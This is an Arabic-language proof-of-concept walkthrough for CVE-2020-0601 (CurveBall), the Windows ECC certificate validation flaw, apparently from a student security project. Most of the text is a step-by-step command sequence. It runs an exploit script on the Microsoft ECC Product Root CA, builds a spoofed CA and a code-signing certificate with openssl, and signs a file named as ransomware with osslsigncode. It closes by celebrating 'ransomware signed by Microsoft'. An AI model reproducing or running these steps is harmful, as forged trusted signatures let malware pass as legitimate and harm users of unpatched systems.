
استغلال إثبات المفهوم لـ CVE-2020-0601 (CurveBall) يوضح تجاوز التحقق من شهادات ECC لتزوير مرجع مصدق موثوق وتوقيع ملفات تنفيذية عشوائية.
هذه الثغرة، المعروفة باسم CurveBall، ناتجة عن التحقق غير الصحيح من الشهادات التي تستخدم خوارزمية ECC. يحاول Windows التحقق من الشهادات التي تم التحقق منها مسبقًا من ذاكرة التخزين المؤقت للشهادات، وأثناء القيام بذلك، يتحقق فقط من تطابق المفاتيح العامة للشهادات ولا يتحقق من المعاملات الأخرى.
لتزوير الشهادة، نقوم بتعيين المعاملات صراحةً كما يلي:
d' = 1
G' = Q
إذا كنت بحاجة إلى مزيد من المعلومات، يمكنك الاطلاع على قسم التفاصيل الرياضية في ملف final_report_milestone_IV.pdf.
في هذا المثال (PoC)، سنستخدم "Microsoft ECC Product Root Certificate Authority"، وهي شهادة Microsoft الموثوقة حتى عام 2043.
لنستخرج المفتاح العام من CA ونعدّله وفقًا للثغرة:
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer
نقوم بإنشاء شهادة x509 جديدة بناءً على هذا المفتاح. ستكون هذه الشهادة هي CA المزورة الخاصة بنا.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="
لعرض محتوى spoofed_ca.crt:
openssl x509 -in spoofed_ca.crt -noout -text
نقوم بإنشاء مفتاح جديد. يمكن أن يكون هذا المفتاح من أي نوع تريده. سيتم استخدامه لإنشاء شهادة توقيع الكود، والتي سنوقعها باستخدام CA الخاصة بنا.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
بعد ذلك، نقوم بإنشاء طلب توقيع شهادة جديد (CSR). عادةً ما يُرسل هذا الطلب إلى مراجع التصديق الموثوقة، ولكن بما أن لدينا مرجع تصديق مزورًا، يمكننا توقيعه بأنفسنا.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
نوقع طلب CSR الجديد باستخدام CA المزورة ومفتاح CA. ستنتهي صلاحية هذه الشهادة في عام 2047، بينما ستنتهي صلاحية CA الخاصة بـ Microsoft الموثوقة الحقيقية في عام 2043.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
الشيء الوحيد المتبقي هو تجميع الشهادة ومفتاحها وCA المزورة في ملف PKCS12 لتوقيع الملفات التنفيذية.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
لنوقع ملفنا التنفيذي باستخدام ملف PKCS12.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234
الآن، لدينا برنامج فدية جديد كليًا موقّع بواسطة Microsoft :)